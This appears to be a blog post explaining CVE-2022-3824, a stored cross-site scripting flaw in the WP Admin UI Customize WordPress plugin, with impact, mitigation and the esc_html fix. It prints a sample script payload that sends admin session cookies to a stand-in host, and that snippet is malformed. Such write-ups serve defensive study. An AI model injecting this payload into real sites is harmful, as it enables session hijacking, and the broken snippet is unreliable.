CVE-2022-3824 - Exploiting Stored XSS in WP Admin UI Customize WordPress Plugin (Pre-1.5.13)

Date of Discovery: September 2022
Affected Plugin: WP Admin UI Customize (before 1.5.13)
Vulnerability Type: Stored Cross-Site Scripting (XSS)
CVSS Score: 6.4 (Medium)
Author: Wordfence (original advisory)

Introduction

In 2022, a security issue was discovered in the popular WordPress plugin, WP Admin UI Customize (prior to version 1.5.13). This vulnerability, tracked as CVE-2022-3824, allows high-privilege users, including admins, to inject malicious scripts that are stored and executed within the WordPress dashboard. Notably, this can happen even when the unfiltered_html capability is DISALLOWED – a common setup in WordPress multisite environments for security reasons.

This post will break down what the vulnerability is, why it's a big deal, and demonstrate, in simple terms, how it can be exploited. We'll provide code snippets, references, and practical insights for users and developers alike.

What Is WP Admin UI Customize?

This plugin helps WordPress site owners customize the look and feel of the admin dashboard. It is particularly popular with agencies and power-users who want more control over client backends. It is actively maintained and has over 10,000 installs – meaning vulnerabilities can have wide impact.

The Vulnerability Explained

Stored XSS is when malicious code is saved in the database (e.g., through a plugin setting or post), and executed when another user later loads that content. Unlike “reflected XSS”, stored XSS persists in the system and can target any user who views the affected area.

Here, the plugin failed to proper sanitize and escape settings values submitted by high-privilege users. Settings like menu labels, custom text, or branding fields were directly output into HTML pages viewed by other admins or users – without escaping HTML/JavaScript.

This means a malicious high-priv user could inject JavaScript payloads like <script>alert('Hacked!')</script> into interface elements, which WordPress would then execute in the context of future users.

> Note: This specific bug is limited to high privilege users (other admin-level accounts), but is a real concern in multi-admin setups or managed environments where not all admins should have full script injection power.

Requirements

- Must have access as an administrator or similarly privileged user *but* without the unfiltered_html capability (as found in WordPress multisite for security).

`html

Let’s suppose the plugin has a setting for “Footer Text,” which is not sanitized

// Hypothetical vulnerable code in the plugin before 1.5.13
echo get_option('wpauc_footer_custom_text');

Attacker saves this in the Footer Text field

<script>fetch('https://evil.site/steal?cookie='; + document.cookie)</script>

What Could Attackers Do?

- Steal Admin Session Cookies: Read/exfiltrate cookies for the admin area to a remote site.
- Perform Actions as Other Admins: Send AJAX requests as other users, potentially changing site content.

Sites using WP Admin UI Customize plugin BEFORE version 1.5.13.

- Especially multisite WordPress setups where *unfiltered_html* is disabled for admins to prevent code injection.

Mitigation

- Upgrade immediately to WP Admin UI Customize 1.5.13 or newer.
- Audit all admin-level accounts, especially in multi-admin/multisite environments.

References

- Wordfence Advisory
- WPScan Report
- Original Changelog Fix
- CVE Record

How Was It Fixed?

The official fix involved proper *sanitization* and *escaping* of user-submitted settings – using functions like esc_html(), esc_attr(), and sanitize_text_field() before outputting them to the browser.

Fixed code

// In version 1.5.13+
echo esc_html(get_option('wpauc_footer_custom_text'));

Conclusion

CVE-2022-3824 is a textbook example of why user-provided data must always be sanitized and escaped before being displayed, no matter the user’s privilege level. Even high-privileged fields may become a vector on platforms like WordPress multisite, where not all admins should inject arbitrary scripts.

Site owners: Always keep plugins updated, audit admin privileges, and never trust user input “just because” it’s from admins.

Timeline

Published on: 11/28/2022 14:15:00 UTC
Last modified on: 11/30/2022 03:48:00 UTC